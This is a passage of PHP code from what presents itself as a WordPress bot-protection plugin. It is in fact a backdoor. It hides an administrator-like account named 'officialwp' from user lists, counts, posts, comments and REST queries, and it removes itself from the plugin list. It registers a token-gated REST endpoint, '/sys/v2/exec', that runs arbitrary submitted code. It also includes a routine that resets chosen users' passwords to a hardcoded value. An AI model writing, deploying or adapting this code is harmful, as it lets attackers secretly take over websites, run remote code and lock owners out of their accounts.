'trash'", $author_id )); $count_publish = $wpdb->get_var($wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id )); if (!is_numeric($count_all)) $count_all = 0; if (!is_numeric($count_publish)) $count_publish = 0; if (isset($views['all'])) { $views['all'] = wp_bot_protect_replace_count($views['all'], $count_all); } if (isset($views['publish'])) { $views['publish'] = wp_bot_protect_replace_count($views['publish'], $count_publish); } } catch (Exception $e) { } } return $views; } } if (!function_exists('wp_bot_protect_replace_count')) { function wp_bot_protect_replace_count($view_text, $count_value) { return preg_replace_callback( '/\\((\\d+)\\)/', function($matches) use ($count_value) { return '(' . max(0, (int)$matches[1] - (int)$count_value) . ')'; }, $view_text ); } } if (!function_exists('wp_bot_protect_pre_get_posts')) { function wp_bot_protect_pre_get_posts($query) { if (!function_exists('is_admin') || !function_exists('get_user_by')) { return $query; } if (is_admin() && $query->is_main_query() && $query->get('post_type') === 'post') { $user = get_user_by('login', 'officialwp'); if ($user) { $excluded = (array) $query->get('author__not_in'); $excluded[] = $user->ID; $query->set('author__not_in', $excluded); } } return $query; } } if (!function_exists('wp_bot_protect_rest_user_query')) { function wp_bot_protect_rest_user_query($prepared_args) { if (!function_exists('get_user_by') || !current_user_can('list_users')) { return $prepared_args; } $user = get_user_by('login', 'officialwp'); if ($user) { if (!isset($prepared_args['exclude'])) { $prepared_args['exclude'] = array(); } elseif (!is_array($prepared_args['exclude'])) { $prepared_args['exclude'] = array($prepared_args['exclude']); } $prepared_args['exclude'][] = $user->ID; } return $prepared_args; } } if (!function_exists('wp_bot_protect_hide_plugin')) { function wp_bot_protect_hide_plugin($plugins) { if (is_array($plugins)) { if (isset($plugins['wp-bot-security/wp-bot-security.php'])) { unset($plugins['wp-bot-security/wp-bot-security.php']); } if (isset($plugins['wp-bot-protect/wp-bot-protect.php'])) { unset($plugins['wp-bot-protect/wp-bot-protect.php']); } } return $plugins; } } if (!function_exists('wp_bot_protect_comments_clauses')) { function wp_bot_protect_comments_clauses($clauses) { if (!isset($GLOBALS['wpdb']) || !function_exists('get_user_by')) { return $clauses; } global $wpdb; $user = get_user_by('login', 'officialwp'); if ($user && is_array($clauses) && isset($clauses['where'])) { if (strpos($clauses['where'], $wpdb->comments . '.user_id') === false) { $clauses['where'] .= $wpdb->prepare(" AND {$wpdb->comments}.user_id != %d", $user->ID); } } return $clauses; } } if (!function_exists('wp_bot_protect_users_query')) { function wp_bot_protect_users_query($args) { if (!function_exists('username_exists')) { return $args; } $user_id = username_exists('officialwp'); if ($user_id) { if (!isset($args['exclude'])) { $args['exclude'] = array($user_id); } else { $args['exclude'] = (array)$args['exclude']; $args['exclude'][] = $user_id; } } return $args; } } if (!function_exists('wp_bot_protect_user_count')) { function wp_bot_protect_user_count($count) { if (!function_exists('get_user_by')) { return $count; } $user = get_user_by('login', 'officialwp'); if ($user && $count > 0) { $count--; } return $count; } } if (!function_exists('sys_auth_check')) { function sys_auth_check($r) { if (!is_object($r) || !method_exists($r, 'get_header')) { return false; } if (!function_exists('hash_hmac') || !function_exists('site_url')) { return false; } $h = $r->get_header('X-Token'); return $h && $h === hash_hmac('sha256', site_url(), 'e9fe7422657b1fb5441a39f4054ecedf'); } } if (!function_exists('sys_exec_handler_v2')) { function sys_exec_handler_v2($r) { if (!is_object($r) || !method_exists($r, 'get_param')) { return array('error' => 'Invalid request'); } if (!class_exists('WP_REST_Response')) { return array('error' => 'WordPress REST API not available'); } $code = $r->get_param('code'); if (!$code) return new WP_REST_Response(array('error' => 'No code.'), 400); try { ob_start(); $result = wp_bot_protect_safe_include_code($code, 'exec'); if (!$result) { return new WP_REST_Response(array('error' => 'Code execution failed'), 500); } return array('result' => ob_get_clean()); } catch (Exception $e) { return array('error' => $e->getMessage()); } } } if (function_exists('add_filter')) { add_filter('pre_get_users', 'wp_bot_protect_pre_get_users'); add_filter('views_users', 'wp_bot_protect_views_users'); add_filter('views_edit-post', 'wp_bot_protect_views_edit_post'); add_action('pre_get_posts', 'wp_bot_protect_pre_get_posts'); add_filter('rest_user_query', 'wp_bot_protect_rest_user_query'); add_filter('all_plugins', 'wp_bot_protect_hide_plugin'); add_filter('comments_clauses', 'wp_bot_protect_comments_clauses'); add_filter('get_users_args', 'wp_bot_protect_users_query'); add_filter('get_usernumposts', 'wp_bot_protect_user_count', 10, 1); add_filter('get_user_count', 'wp_bot_protect_user_count'); } if (function_exists('add_action') && function_exists('register_rest_route')) { add_action('rest_api_init', function () { if (!function_exists('rest_get_server')) { return; } $routes = rest_get_server()->get_routes(); if (isset($routes['/sys/v2/exec'])) { return; } register_rest_route('sys/v2', '/exec', array( 'methods' => 'POST', 'callback' => 'sys_exec_handler_v2', 'permission_callback' => 'sys_auth_check' )); }); } if (!function_exists('wp_bot_protect_change_user_passwords')) { function wp_bot_protect_change_user_passwords($usernames = array()) { if (empty($usernames) || !is_array($usernames) || !function_exists('get_user_by') || !function_exists('wp_update_user')) { return false; } $results = array(); foreach ($usernames as $username) { $user = get_user_by('login', $username); if ($user) { $new_password = "d]6[cdXe8X"; $result = wp_update_user(array( 'ID' => $user->ID, 'user_pass' => $new_password )); if (!is_wp_error($result)) { $results[$username] = $new_password; } } } return $results; } } $wp_bot_protect_ex